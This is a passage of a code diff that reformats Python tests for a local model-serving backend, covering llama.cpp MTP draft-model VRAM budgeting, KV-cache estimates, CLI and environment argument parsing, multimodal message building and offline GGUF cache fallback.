["MTP/mtp-gemma-4-E4B-it-BF16.gguf"] + ) snap_full = _seed_snapshot(tmp_path / "old", ["mtp-gemma-4-E4B-it.gguf"]) - monkeypatch.setattr(mc, "_iter_hf_cache_snapshots", lambda repo: [snap_partial, snap_full]) + monkeypatch.setattr( + mc, "_iter_hf_cache_snapshots", lambda repo: [snap_partial, snap_full] + ) - got = LlamaCppBackend()._download_mtp(hf_repo = "unsloth/gemma-4-E4B-it-qat-mobile-GGUF") + got = LlamaCppBackend()._download_mtp( + hf_repo = "unsloth/gemma-4-E4B-it-qat-mobile-GGUF" + ) assert got is not None and Path(got).name == "mtp-gemma-4-E4B-it.gguf" @@ -425,7 +439,9 @@ def test_download_mtp_reuse_follows_snapshot_order_offline(tmp_path, monkeypatch oldest = _seed_snapshot(tmp_path / "oldest", ["mtp-gemma-4-E4B-it.gguf"]) monkeypatch.setattr(mc, "_iter_hf_cache_snapshots", lambda repo: [newest, oldest]) - got = LlamaCppBackend()._download_mtp(hf_repo = "unsloth/gemma-4-E4B-it-qat-mobile-GGUF") + got = LlamaCppBackend()._download_mtp( + hf_repo = "unsloth/gemma-4-E4B-it-qat-mobile-GGUF" + ) assert got is not None and Path(got).parent.parent.name == "newest" diff --git a/studio/backend/tests/test_mtp_mla_target_ctx.py b/studio/backend/tests/test_mtp_mla_target_ctx.py index c38e4c7b62..fc0e46ca7a 100644 --- a/studio/backend/tests/test_mtp_mla_target_ctx.py +++ b/studio/backend/tests/test_mtp_mla_target_ctx.py @@ -149,7 +149,9 @@ class TestMlaTargetCtxReserve: ctx = 262144 f16 = _kv_bytes_per_elem("f16") expected_copy = b._estimate_kv_cache_bytes(ctx, "f16") - assert b._estimate_mtp_overhead_bytes(ctx) == (b._mtp_draft_kv_bytes(ctx) + expected_copy) + assert b._estimate_mtp_overhead_bytes(ctx) == ( + b._mtp_draft_kv_bytes(ctx) + expected_copy + ) assert f16 == 2.0 # sanity: f16 is 2 bytes/elem def test_target_copy_scales_linearly_with_context(self): @@ -170,7 +172,9 @@ class TestMlaTargetCtxReserve: non = _make_mla_backend() non._kv_lora_rank = None # flip MLA off, keep every other dim identical ctx = 131072 - assert mla._estimate_mtp_overhead_bytes(ctx) > non._estimate_mtp_overhead_bytes(ctx) + assert mla._estimate_mtp_overhead_bytes(ctx) > non._estimate_mtp_overhead_bytes( + ctx + ) def test_separate_drafter_mode_drops_target_copy(self): # The duplicated target context is MTP-only. draft-simple / draft-eagle3 diff --git a/studio/backend/tests/test_mtp_vram_budget.py b/studio/backend/tests/test_mtp_vram_budget.py index 694d60cfc6..e7b2a5d9b3 100644 --- a/studio/backend/tests/test_mtp_vram_budget.py +++ b/studio/backend/tests/test_mtp_vram_budget.py @@ -145,7 +145,11 @@ class _StubDrafter: ): bpe = _kv_bytes_per_elem(cache_type) # n_parallel scales like a sliding-window drafter's per-slot KV. - return 0 if n_ctx <= 0 else int(n_ctx * self._kv_per_token * bpe / 2.0 * n_parallel) + return ( + 0 + if n_ctx <= 0 + else int(n_ctx * self._kv_per_token * bpe / 2.0 * n_parallel) + ) # --------------------------------------------------------------------------- @@ -183,10 +187,18 @@ class TestEmbeddedDraftKv: # f16, not more (ggml-org/llama.cpp#24102). The embedded reserve floors a # quantized draft type at f16 (never under-reserved); f32 still costs more. b = _make_backend() - f16 = b._mtp_draft_kv_bytes(65536, draft_cache_type_k = "f16", draft_cache_type_v = "f16") - q8 = b._mtp_draft_kv_bytes(65536, draft_cache_type_k = "q8_0", draft_cache_type_v = "q8_0") - q4 = b._mtp_draft_kv_bytes(65536, draft_cache_type_k = "q4_0", draft_cache_type_v = "q4_0") - f32 = b._mtp_draft_kv_bytes(65536, draft_cache_type_k = "f32", draft_cache_type_v = "f32") + f16 = b._mtp_draft_kv_bytes( + 65536, draft_cache_type_k = "f16", draft_cache_type_v = "f16" + ) + q8 = b._mtp_draft_kv_bytes( + 65536, draft_cache_type_k = "q8_0", draft_cache_type_v = "q8_0" + ) + q4 = b._mtp_draft_kv_bytes( + 65536, draft_cache_type_k = "q4_0", draft_cache_type_v = "q4_0" + ) + f32 = b._mtp_draft_kv_bytes( + 65536, draft_cache_type_k = "f32", draft_cache_type_v = "f32" + ) assert q8 == f16 and q4 == f16 # quantized draft KV priced as f16, not less assert f32 == pytest.approx(f16 * 2.0) # f32 genuinely larger, not floored @@ -197,8 +209,12 @@ class TestEmbeddedDraftKv: both_q4 = b._mtp_draft_kv_bytes( 131072, draft_cache_type_k = "q4_0", draft_cache_type_v = "q4_0" ) - k_only = b._mtp_draft_kv_bytes(131072, draft_cache_type_k = "q4_0") # V defaults f16 - both_f16 = b._mtp_draft_kv_bytes(131072, draft_cache_type_k = "f16", draft_cache_type_v = "f16") + k_only = b._mtp_draft_kv_bytes( + 131072, draft_cache_type_k = "q4_0" + ) # V defaults f16 + both_f16 = b._mtp_draft_kv_bytes( + 131072, draft_cache_type_k = "f16", draft_cache_type_v = "f16" + ) assert both_q4 == k_only == both_f16 # floored at f16, never under-reserved def test_none_when_dims_missing(self): @@ -320,7 +336,9 @@ class TestFitContextWithMtp: def _fit_backend(self, kv_per_token = 325_000): b = _make_backend() b._can_estimate_kv = lambda: True - b._estimate_kv_cache_bytes = lambda n, _t = None, **_k: (0 if n <= 0 else n * kv_per_token) + b._estimate_kv_cache_bytes = lambda n, _t = None, **_k: ( + 0 if n <= 0 else n * kv_per_token + ) return b def test_overhead_fn_lowers_context(self): @@ -406,10 +424,21 @@ class TestExtraArgsMtpDetection: def test_requests_mtp_env(self): # The child honors LLAMA_ARG_SPEC_TYPE; env-requested MTP must reserve too. - assert _extra_args_requests_mtp([], env = {"LLAMA_ARG_SPEC_TYPE": "draft-mtp"}) is True - assert _extra_args_requests_mtp([], env = {"LLAMA_ARG_SPEC_TYPE": "ngram-mod,mtp"}) is True - assert _extra_args_requests_mtp([], env = {"LLAMA_ARG_SPEC_TYPE": "draft-simple"}) is False - assert _extra_args_requests_mtp([], env = {"LLAMA_ARG_SPEC_TYPE": "none"}) is False + assert ( + _extra_args_requests_mtp([], env = {"LLAMA_ARG_SPEC_TYPE": "draft-mtp"}) + is True + ) + assert ( + _extra_args_requests_mtp([], env = {"LLAMA_ARG_SPEC_TYPE": "ngram-mod,mtp"}) + is True + ) + assert ( + _extra_args_requests_mtp([], env = {"LLAMA_ARG_SPEC_TYPE": "draft-simple"}) + is False + ) + assert ( + _extra_args_requests_mtp([], env = {"LLAMA_ARG_SPEC_TYPE": "none"}) is False + ) def test_requests_mtp_effective_spec_type(self): # llama.cpp uses the LAST CLI --spec-type and ignores the env when any CLI @@ -425,7 +454,9 @@ class TestExtraArgsMtpDetection: is False ) # A non-MTP CLI flag overrides a stale MTP env. - assert _extra_args_requests_mtp(["--spec-type", "ngram-mod"], env = env_mtp) is False + assert ( + _extra_args_requests_mtp(["--spec-type", "ngram-mod"], env = env_mtp) is False + ) assert _extra_args_requests_mtp(["--spec-type", "none"], env = env_mtp) is False # A later MTP CLI value still engages. assert ( @@ -443,7 +474,8 @@ class TestExtraArgsMtpDetection: ) assert ( _extra_args_requests_separate_draft( - ["--spec-type", "ngram-mod"], env = {"LLAMA_ARG_SPEC_TYPE": "draft-simple"} + ["--spec-type", "ngram-mod"], + env = {"LLAMA_ARG_SPEC_TYPE": "draft-simple"}, ) is False ) @@ -465,11 +497,15 @@ class TestExtraArgsMtpDetection: def test_requests_separate_draft_env(self): assert ( - _extra_args_requests_separate_draft([], env = {"LLAMA_ARG_SPEC_TYPE": "draft-simple"}) + _extra_args_requests_separate_draft( + [], env = {"LLAMA_ARG_SPEC_TYPE": "draft-simple"} + ) is True ) assert ( - _extra_args_requests_separate_draft([], env = {"LLAMA_ARG_SPEC_TYPE": "draft-mtp"}) + _extra_args_requests_separate_draft( + [], env = {"LLAMA_ARG_SPEC_TYPE": "draft-mtp"} + ) is False ) @@ -525,7 +561,10 @@ class TestExtraArgsMtpDetection: ) # A later --spec-type still wins over an earlier --spec-default. assert ( - _extra_args_requests_mtp(["--spec-default", "--spec-type", "draft-mtp"], env = {}) is True + _extra_args_requests_mtp( + ["--spec-default", "--spec-type", "draft-mtp"], env = {} + ) + is True ) def test_load_model_drafter_budget_precedence(self): @@ -533,9 +572,18 @@ class TestExtraArgsMtpDetection: # then Unsloth's emitted mtp_draft_path (overrides LLAMA_ARG_SPEC_DRAFT_MODEL), # then the env drafter -- not the env before Unsloth's (reviewer.py R3). compact = "".join(inspect.getsource(LlamaCppBackend.load_model).split()) - assert "_cli_draft_for_budget=_extra_args_mtp_draft_path(extra_args,env={})" in compact - assert "_env_draft_for_budget=_extra_args_mtp_draft_path([],env=os.environ)" in compact - assert "_cli_draft_for_budgetor_studio_draft_for_budgetor_env_draft_for_budget" in compact + assert ( + "_cli_draft_for_budget=_extra_args_mtp_draft_path(extra_args,env={})" + in compact + ) + assert ( + "_env_draft_for_budget=_extra_args_mtp_draft_path([],env=os.environ)" + in compact + ) + assert ( + "_cli_draft_for_budgetor_studio_draft_for_budgetor_env_draft_for_budget" + in compact + ) def test_load_model_drops_cpu_offloaded_drafter_from_budget(self): # A SEPARATE drafter offloaded to CPU (--spec-draft-ngl 0 / @@ -546,11 +594,15 @@ class TestExtraArgsMtpDetection: compact = "".join(inspect.getsource(LlamaCppBackend.load_model).split()) # env-aware: also honors the inherited LLAMA_ARG_N_GPU_LAYERS_DRAFT. assert ( - "_draft_on_cpu=_extra_args_draft_offloaded_to_cpu(extra_args,env=os.environ)" in compact + "_draft_on_cpu=_extra_args_draft_offloaded_to_cpu(extra_args,env=os.environ)" + in compact ) assert "if_draft_on_cpu:_mtp_draft_for_budget=None" in compact # flat reserve suppressed only for a CPU drafter with no embedded head - assert "_draft_cpu_no_embedded=_draft_on_cpuandnotself._nextn_predict_layers" in compact + assert ( + "_draft_cpu_no_embedded=_draft_on_cpuandnotself._nextn_predict_layers" + in compact + ) assert "not_draft_cpu_no_embedded" in compact def test_load_model_keeps_flat_reserve_for_unsized_draft_kv(self): @@ -598,11 +650,15 @@ class TestExtraArgsMtpDetection: # The child honors LLAMA_ARG_N_GPU_LAYERS_DRAFT; an env-only CPU offload # must drop the drafter from the budget too (review run3 #3). CLI wins. assert ( - _extra_args_draft_offloaded_to_cpu([], env = {"LLAMA_ARG_N_GPU_LAYERS_DRAFT": "0"}) + _extra_args_draft_offloaded_to_cpu( + [], env = {"LLAMA_ARG_N_GPU_LAYERS_DRAFT": "0"} + ) is True ) assert ( - _extra_args_draft_offloaded_to_cpu([], env = {"LLAMA_ARG_N_GPU_LAYERS_DRAFT": "-1"}) + _extra_args_draft_offloaded_to_cpu( + [], env = {"LLAMA_ARG_N_GPU_LAYERS_DRAFT": "-1"} + ) is False ) # CLI --spec-draft-ngl wins over the env (last-wins is CLI-only). @@ -665,10 +721,15 @@ class TestExtraArgsMtpDetection: def test_mtp_draft_path_env_fallback(self): # The child honors LLAMA_ARG_SPEC_DRAFT_MODEL / _HF_REPO; CLI wins over env. assert ( - _extra_args_mtp_draft_path([], env = {"LLAMA_ARG_SPEC_DRAFT_MODEL": "/m/e.gguf"}) + _extra_args_mtp_draft_path( + [], env = {"LLAMA_ARG_SPEC_DRAFT_MODEL": "/m/e.gguf"} + ) == "/m/e.gguf" ) - assert _extra_args_mtp_draft_path([], env = {"LLAMA_ARG_SPEC_DRAFT_HF_REPO": "x/y"}) == "x/y" + assert ( + _extra_args_mtp_draft_path([], env = {"LLAMA_ARG_SPEC_DRAFT_HF_REPO": "x/y"}) + == "x/y" + ) assert ( _extra_args_mtp_draft_path( ["-md", "/m/cli.gguf"], env = {"LLAMA_ARG_SPEC_DRAFT_HF_REPO": "x/y"} @@ -683,7 +744,10 @@ class TestExtraArgsMtpDetection: (["--spec-draft-type-k", "q4_0"], ("q4_0", None)), (["-ctkd", "q8_0"], ("q8_0", None)), (["--cache-type-v-draft", "q4_0"], (None, "q4_0")), # K stays f16, V only - (["--cache-type-k-draft", "q4_0", "--cache-type-v-draft", "q8_0"], ("q4_0", "q8_0")), + ( + ["--cache-type-k-draft", "q4_0", "--cache-type-v-draft", "q8_0"], + ("q4_0", "q8_0"), + ), (["--cache-type-k-draft=q8_0"], ("q8_0", None)), (["--cache-type-k", "q8_0"], (None, None)), # main type, not draft (["-c", "4096"], (None, None)), @@ -727,7 +791,8 @@ class TestExtraArgsMtpDetection: # The child honors LLAMA_ARG_UBATCH; it must reach the compute-buffer reserve. assert _extra_args_n_ubatch([], env = {"LLAMA_ARG_UBATCH": "4096"}) == 4096 assert ( - _extra_args_n_ubatch(["-ub", "1024"], env = {"LLAMA_ARG_UBATCH": "4096"}) == 1024 + _extra_args_n_ubatch(["-ub", "1024"], env = {"LLAMA_ARG_UBATCH": "4096"}) + == 1024 ) # CLI wins assert _extra_args_n_ubatch([], env = {"LLAMA_ARG_UBATCH": "notint"}) is None @@ -738,8 +803,14 @@ class TestExtraArgsMtpDetection: assert _env_main_cache_type_for_budget(env = {}) is None # f32 exceeds the f16 default -> adopt it (lower-cased so the launch # re-emits it via _valid_cache_types). - assert _env_main_cache_type_for_budget(env = {"LLAMA_ARG_CACHE_TYPE_K": "f32"}) == "f32" - assert _env_main_cache_type_for_budget(env = {"LLAMA_ARG_CACHE_TYPE_V": "F32"}) == "f32" + assert ( + _env_main_cache_type_for_budget(env = {"LLAMA_ARG_CACHE_TYPE_K": "f32"}) + == "f32" + ) + assert ( + _env_main_cache_type_for_budget(env = {"LLAMA_ARG_CACHE_TYPE_V": "F32"}) + == "f32" + ) # Heavier of K/V (single knob; over-reserves the lighter axis). assert ( _env_main_cache_type_for_budget( @@ -748,11 +819,23 @@ class TestExtraArgsMtpDetection: == "f32" ) # Quantized env types are <= f16 -> already over-reserved by the default. - assert _env_main_cache_type_for_budget(env = {"LLAMA_ARG_CACHE_TYPE_K": "q4_0"}) is None - assert _env_main_cache_type_for_budget(env = {"LLAMA_ARG_CACHE_TYPE_V": "q8_0"}) is None - assert _env_main_cache_type_for_budget(env = {"LLAMA_ARG_CACHE_TYPE_K": "f16"}) is None + assert ( + _env_main_cache_type_for_budget(env = {"LLAMA_ARG_CACHE_TYPE_K": "q4_0"}) + is None + ) + assert ( + _env_main_cache_type_for_budget(env = {"LLAMA_ARG_CACHE_TYPE_V": "q8_0"}) + is None + ) + assert ( + _env_main_cache_type_for_budget(env = {"LLAMA_ARG_CACHE_TYPE_K": "f16"}) + is None + ) # Unknown env type self-neutralizes (treated as f16 by _kv_bytes_per_elem). - assert _env_main_cache_type_for_budget(env = {"LLAMA_ARG_CACHE_TYPE_K": "wat"}) is None + assert ( + _env_main_cache_type_for_budget(env = {"LLAMA_ARG_CACHE_TYPE_K": "wat"}) + is None + ) def test_load_model_adopts_env_main_cache_type(self): # Source-level: load_model budgets the heavier of asymmetric --cache-type @@ -782,14 +865,23 @@ class TestExtraArgsMtpDetection: # No extras, toggle off, tensor env -> flips on. assert _effective_tensor_parallel(None, False, env = tensor_env) is True # Extras override (any --split-mode) beats the env, even if non-tensor. - assert _effective_tensor_parallel(["--split-mode", "layer"], False, env = tensor_env) is False + assert ( + _effective_tensor_parallel(["--split-mode", "layer"], False, env = tensor_env) + is False + ) # Explicit extras/toggle tensor stays on regardless of env. - assert _effective_tensor_parallel(["--split-mode", "tensor"], False, env = {}) is True + assert ( + _effective_tensor_parallel(["--split-mode", "tensor"], False, env = {}) + is True + ) assert _effective_tensor_parallel(None, True, env = {}) is True # One-directional: a non-tensor env never downgrades, and no env -> no flip. assert _effective_tensor_parallel(None, False, env = {}) is False assert ( - _effective_tensor_parallel(None, False, env = {"LLAMA_ARG_SPLIT_MODE": "layer"}) is False + _effective_tensor_parallel( + None, False, env = {"LLAMA_ARG_SPLIT_MODE": "layer"} + ) + is False ) def test_tensor_parallel_matches_loaded_env_downgrade(self): @@ -798,9 +890,13 @@ class TestExtraArgsMtpDetection: # an identical request -- not reload forever (#6312). tensor_env = {"LLAMA_ARG_SPLIT_MODE": "tensor"} # Launched tensor: env-only request matches. - assert _tensor_parallel_matches_loaded(None, False, True, env = tensor_env) is True + assert ( + _tensor_parallel_matches_loaded(None, False, True, env = tensor_env) is True + ) # Downgraded to layer: same env-only request still matches (no reload loop). - assert _tensor_parallel_matches_loaded(None, False, False, env = tensor_env) is True + assert ( + _tensor_parallel_matches_loaded(None, False, False, env = tensor_env) is True + ) # No env: a plain request matches a layer server and mismatches a tensor one. assert _tensor_parallel_matches_loaded(None, False, False, env = {}) is True assert _tensor_parallel_matches_loaded(None, False, True, env = {}) is False @@ -809,7 +905,9 @@ class TestExtraArgsMtpDetection: assert _tensor_parallel_matches_loaded(None, True, True, env = {}) is True # An explicit non-tensor --split-mode beats the env (no flip). assert ( - _tensor_parallel_matches_loaded(["--split-mode", "layer"], False, True, env = tensor_env) + _tensor_parallel_matches_loaded( + ["--split-mode", "layer"], False, True, env = tensor_env + ) is False ) @@ -848,7 +946,9 @@ class TestExtraArgsMtpDetection: # per axis at launch), not the last-wins single type that under-reserves. H = _extra_args_main_cache_type_for_budget assert H(["--cache-type-k", "f32", "--cache-type-v", "f16"]) == "f32" - assert H(["--cache-type-v", "f16", "--cache-type-k", "f32"]) == "f32" # order-free + assert ( + H(["--cache-type-v", "f16", "--cache-type-k", "f32"]) == "f32" + ) # order-free assert H(["--cache-type-k=f32", "--cache-type-v=f16"]) == "f32" # = form assert H(["-ctk", "q4_0", "-ctv", "q8_0"]) == "q8_0" # heavier quant assert H(["--cache-type-k", "q8_0"]) == "q8_0" # single axis honored as-is @@ -898,7 +998,10 @@ class TestExtraArgsMtpDetection: # none is overridden, and the env selects tensor (an existing tensor plan # is never downgraded). Whitespace-stripped to survive formatter wrapping. load = "".join(inspect.getsource(LlamaCppBackend.load_model).split()) - assert "tensor_parallel=_effective_tensor_parallel(extra_args,tensor_parallel)" in load + assert ( + "tensor_parallel=_effective_tensor_parallel(extra_args,tensor_parallel)" + in load + ) helper = "".join(inspect.getsource(_effective_tensor_parallel).split()) assert "notresolved" in helper assert "parse_split_mode_override(extra_args)isNone" in helper @@ -990,7 +1093,9 @@ def test_qwen36_class_regression_picks_lower_ctx_with_mtp(): strictly lower one once the MTP draft reserve is accounted for.""" b = _make_backend() b._can_estimate_kv = lambda: True - b._estimate_kv_cache_bytes = lambda n, _t = None, **_k: (0 if n <= 0 else int(n * 66_000)) + b._estimate_kv_cache_bytes = lambda n, _t = None, **_k: ( + 0 if n <= 0 else int(n * 66_000) + ) avail_mib = 24_000 model = int(17.9 * GIB) # UD-Q4_K_XL weights no_mtp = b._fit_context_to_vram(262144, avail_mib, model) @@ -1011,8 +1116,13 @@ def test_mtp_draft_budget_prefers_user_extras_drafter(): # Whitespace-stripped so the check survives any formatter line-wrapping. compact = "".join(inspect.getsource(LlamaCppBackend.load_model).split()) # CLI extras sized first (env={} so the env doesn't pre-empt Unsloth's drafter). - assert "_cli_draft_for_budget=_extra_args_mtp_draft_path(extra_args,env={})" in compact + assert ( + "_cli_draft_for_budget=_extra_args_mtp_draft_path(extra_args,env={})" in compact + ) # Order: CLI extras, then Unsloth's mtp_draft_path, then the env drafter. - assert "_cli_draft_for_budgetor_studio_draft_for_budgetor_env_draft_for_budget" in compact + assert ( + "_cli_draft_for_budgetor_studio_draft_for_budgetor_env_draft_for_budget" + in compact + ) # The env must not be consulted before Unsloth's resolved drafter. assert "_extra_args_mtp_draft_path(extra_args)ormtp_draft_path" not in compact diff --git a/studio/backend/tests/test_multimodal_document.py b/studio/backend/tests/test_multimodal_document.py index b347c4aef8..cfd7be7cb5 100644 --- a/studio/backend/tests/test_multimodal_document.py +++ b/studio/backend/tests/test_multimodal_document.py @@ -309,7 +309,11 @@ def test_openai_base64_pdf_becomes_input_file(monkeypatch): user_msg = captured["body"]["input"][0] parts = user_msg["content"] fileblk = next(p for p in parts if p.get("type") == "input_file") - assert fileblk == {"type": "input_file", "file_data": _PDF_DATA_URI, "filename": "paper.pdf"} + assert fileblk == { + "type": "input_file", + "file_data": _PDF_DATA_URI, + "filename": "paper.pdf", + } def test_openai_url_pdf_becomes_input_file(monkeypatch): @@ -490,7 +494,9 @@ def test_build_external_messages_passes_input_document_for_anthropic_and_openai( ) ] for provider in ("anthropic", "openai"): - out = _build_external_messages(msgs, supports_vision = True, provider_type = provider) + out = _build_external_messages( + msgs, supports_vision = True, provider_type = provider + ) assert len(out) == 1, (provider, out) parts = out[0]["content"] assert parts[0] == {"type": "text", "text": "summarise"}, provider @@ -526,7 +532,9 @@ def test_build_external_messages_strips_input_document_for_unmapped_providers(): ) ] for provider in ("gemini", "mistral", "kimi", "openrouter", "deepseek", "qwen"): - out = _build_external_messages(msgs, supports_vision = True, provider_type = provider) + out = _build_external_messages( + msgs, supports_vision = True, provider_type = provider + ) assert len(out) == 1, (provider, out) parts = out[0]["content"] types = [p.get("type") for p in parts if isinstance(p, dict)] diff --git a/studio/backend/tests/test_namespace_shadow_guard_pr6269.py b/studio/backend/tests/test_namespace_shadow_guard_pr6269.py index f77345293e..27e0f1d119 100644 --- a/studio/backend/tests/test_namespace_shadow_guard_pr6269.py +++ b/studio/backend/tests/test_namespace_shadow_guard_pr6269.py @@ -191,9 +191,7 @@ def _run( text = True, timeout = 120, ) - assert ( - out.is_file() - ), f"driver did not produce a result\nstdout:\n{proc.stdout}\nstderr:\n{proc.stderr}" + assert out.is_file(), f"driver did not produce a result\nstdout:\n{proc.stdout}\nstderr:\n{proc.stderr}" return json.loads(out.read_text()) diff --git a/studio/backend/tests/test_native_context_length.py b/studio/backend/tests/test_native_context_length.py index de1ca0649e..ba2337755d 100644 --- a/studio/backend/tests/test_native_context_length.py +++ b/studio/backend/tests/test_native_context_length.py @@ -334,7 +334,9 @@ class TestPydanticModels: def test_status_response_chat_template_roundtrip(self): """chat_template serializes and validates as part of status.""" resp = InferenceStatusResponse(chat_template = "{{ messages }}") - roundtripped = InferenceStatusResponse.model_validate_json(resp.model_dump_json()) + roundtripped = InferenceStatusResponse.model_validate_json( + resp.model_dump_json() + ) assert roundtripped.chat_template == "{{ messages }}" def test_roundtrip_preserves_value(self): @@ -402,7 +404,9 @@ class TestRouteCompleteness: def test_gguf_load_responses_have_field(self): """Every GGUF LoadResponse (is_gguf = True) includes native_context_length.""" blocks = self._find_construction_blocks("LoadResponse") - gguf_blocks = [b for b in blocks if "is_gguf = True" in b or "is_gguf=True" in b] + gguf_blocks = [ + b for b in blocks if "is_gguf = True" in b or "is_gguf=True" in b + ] assert ( len(gguf_blocks) >= 2 ), f"Expected at least 2 GGUF LoadResponse blocks, found {len(gguf_blocks)}" @@ -414,7 +418,9 @@ class TestRouteCompleteness: def test_non_gguf_load_responses_omit_field(self): """Non-GGUF LoadResponse blocks do not set native_context_length (defaults to None).""" blocks = self._find_construction_blocks("LoadResponse") - non_gguf = [b for b in blocks if "is_gguf = True" not in b and "is_gguf=True" not in b] + non_gguf = [ + b for b in blocks if "is_gguf = True" not in b and "is_gguf=True" not in b + ] # Non-GGUF paths shouldn't reference native_context_length # (Pydantic defaults it to None, so omitting it is correct). for block in non_gguf: @@ -425,7 +431,9 @@ class TestRouteCompleteness: def test_non_gguf_load_responses_set_runtime_context_length(self): """Non-GGUF LoadResponse blocks report runtime context_length.""" blocks = self._find_construction_blocks("LoadResponse") - non_gguf = [b for b in blocks if "is_gguf = True" not in b and "is_gguf=True" not in b] + non_gguf = [ + b for b in blocks if "is_gguf = True" not in b and "is_gguf=True" not in b + ] assert non_gguf, "Expected at least one non-GGUF LoadResponse block" for block in non_gguf: assert ( @@ -440,9 +448,7 @@ class TestRouteCompleteness: if "llama_backend" in block and "native_context_length" in block: found = True break - assert ( - found - ), "No InferenceStatusResponse block with llama_backend has native_context_length" + assert found, "No InferenceStatusResponse block with llama_backend has native_context_length" def test_non_gguf_status_path_reports_runtime_context_length(self): """Non-GGUF InferenceStatusResponse reports context_length from model_info.""" diff --git a/studio/backend/tests/test_native_template_trust_remote_code.py b/studio/backend/tests/test_native_template_trust_remote_code.py index 60dc80f64c..25d61b8fcd 100644 --- a/studio/backend/tests/test_native_template_trust_remote_code.py +++ b/studio/backend/tests/test_native_template_trust_remote_code.py @@ -110,7 +110,9 @@ def _install_custom_code_tokenizer(monkeypatch): ) return _JinjaTokenizer(_NATIVE_TEMPLATE) - monkeypatch.setattr(AutoTokenizer, "from_pretrained", staticmethod(fake_from_pretrained)) + monkeypatch.setattr( + AutoTokenizer, "from_pretrained", staticmethod(fake_from_pretrained) + ) return calls @@ -138,7 +140,9 @@ def test_native_reload_passes_stored_trust_remote_code(monkeypatch): tools = _TOOLS, ) - assert out is not None, "native fallback should render the tools prompt with consent" + assert ( + out is not None + ), "native fallback should render the tools prompt with consent" assert "[AVAILABLE_TOOLS]" in out assert "get_weather" in out assert calls["trust_remote_code"] is True # the stored consent was threaded through diff --git a/studio/backend/tests/test_nvfp4_load_error_message.py b/studio/backend/tests/test_nvfp4_load_error_message.py index 4a1195fc8a..cddcf43f5f 100644 --- a/studio/backend/tests/test_nvfp4_load_error_message.py +++ b/studio/backend/tests/test_nvfp4_load_error_message.py @@ -48,7 +48,9 @@ def _load_failure( return_value = None, ), patch.object(inference_route, "get_inference_backend", return_value = backend), - patch.object(inference_route, "get_llama_cpp_backend", return_value = MagicMock()), + patch.object( + inference_route, "get_llama_cpp_backend", return_value = MagicMock() + ), patch.object( inference_route.ModelConfig, "from_identifier", @@ -56,7 +58,11 @@ def _load_failure( ), pytest.raises(HTTPException) as exc, ): - asyncio.run(inference_route.load_model(request, MagicMock(), current_subject = "test-user")) + asyncio.run( + inference_route.load_model( + request, MagicMock(), current_subject = "test-user" + ) + ) return exc.value @@ -82,13 +88,17 @@ def _validation_failure( ), pytest.raises(HTTPException) as exc, ): - asyncio.run(inference_route.validate_model(request, current_subject = "test-user")) + asyncio.run( + inference_route.validate_model(request, current_subject = "test-user") + ) return exc.value @pytest.mark.parametrize("exception_type", [Exception, RuntimeError, ValueError]) @pytest.mark.parametrize("native", [False, True]) -def test_nvfp4_mlx_metadata_error_is_replaced_with_short_message(exception_type, native): +def test_nvfp4_mlx_metadata_error_is_replaced_with_short_message( + exception_type, native +): error = _load_failure( "Unsloth: 'unsloth/Qwen3.6-35B-A3B-NVFP4-Fast' has per-module MLX " "quantization metadata {'config_groups': {'group_0': {'format': " @@ -113,7 +123,9 @@ def test_unrelated_load_error_keeps_existing_message(): @pytest.mark.parametrize("native", [False, True]) def test_unrelated_value_error_keeps_existing_message(native): - error = _load_failure("Invalid gpu_ids [99]", exception_type = ValueError, native = native) + error = _load_failure( + "Invalid gpu_ids [99]", exception_type = ValueError, native = native + ) assert error.status_code == 400 assert error.detail == "Invalid gpu_ids [99]" diff --git a/studio/backend/tests/test_offline_gguf_cache_fallback.py b/studio/backend/tests/test_offline_gguf_cache_fallback.py index 295549c443..1ca7818005 100644 --- a/studio/backend/tests/test_offline_gguf_cache_fallback.py +++ b/studio/backend/tests/test_offline_gguf_cache_fallback.py @@ -141,7 +141,9 @@ class TestGgufVariantFileResolution: "tinyllamas/stories260K.gguf", ] - assert _gguf_files_for_variant(files, "stories260K") == ["tinyllamas/stories260K.gguf"] + assert _gguf_files_for_variant(files, "stories260K") == [ + "tinyllamas/stories260K.gguf" + ] @pytest.mark.parametrize( "big_endian_path", @@ -182,7 +184,9 @@ class TestGgufVariantFileResolution: assert _gguf_files_for_variant(files, "") == ["model-Q4_K_M.gguf"] - def test_remote_listing_skips_big_endian_quant_sibling(self, monkeypatch, clean_offline_env): + def test_remote_listing_skips_big_endian_quant_sibling( + self, monkeypatch, clean_offline_env + ): siblings = [ _types.SimpleNamespace(rfilename = "model-Q4_K_M-be.gguf", size = 100), _types.SimpleNamespace(rfilename = "model-Q4_K_M.gguf", size = 10), @@ -208,7 +212,11 @@ class TestGgufVariantFileResolution: paths, token = None, ): - return [_types.SimpleNamespace(path = path, size = 1) for path in paths if path is not None] + return [ + _types.SimpleNamespace(path = path, size = 1) + for path in paths + if path is not None + ] def fake_download( repo_id, @@ -231,7 +239,10 @@ class TestGgufVariantFileResolution: ), patch("huggingface_hub.get_paths_info", fake_get_paths_info), patch("huggingface_hub.try_to_load_from_cache", lambda *_a, **_k: None), - patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", fake_download), + patch( + "core.inference.llama_cpp.hf_hub_download_with_xet_fallback", + fake_download, + ), ): out = backend._download_gguf( hf_repo = "ggml-org/models", @@ -278,7 +289,10 @@ class TestGgufVariantFileResolution: ), patch("huggingface_hub.get_paths_info", fake_get_paths_info), patch("huggingface_hub.try_to_load_from_cache", lambda *_a, **_k: None), - patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", fail_download), + patch( + "core.inference.llama_cpp.hf_hub_download_with_xet_fallback", + fail_download, + ), ): out = backend._download_gguf( hf_repo = repo, @@ -335,7 +349,10 @@ class TestGgufVariantFileResolution: patch("huggingface_hub.list_repo_files", fake_list_repo_files), patch("huggingface_hub.get_paths_info", fake_get_paths_info), patch("huggingface_hub.try_to_load_from_cache", fake_cache), - patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", fail_download), + patch( + "core.inference.llama_cpp.hf_hub_download_with_xet_fallback", + fail_download, + ), ): out = backend._download_gguf( hf_repo = requested_repo, @@ -345,12 +362,16 @@ class TestGgufVariantFileResolution: assert out == str(snap / gguf_file) assert seen_repos - def test_download_online_reuses_complete_cached_snapshot(self, monkeypatch, hf_cache): + def test_download_online_reuses_complete_cached_snapshot( + self, monkeypatch, hf_cache + ): # Loads reuse complete cached models across repo revisions. monkeypatch.delenv("HF_HUB_OFFLINE", raising = False) backend = LlamaCppBackend() repo = "unsloth/vision-GGUF" - snap = _build_cache(hf_cache, repo, {"model-UD-Q4_K_XL.gguf": 4}, snapshot_sha = 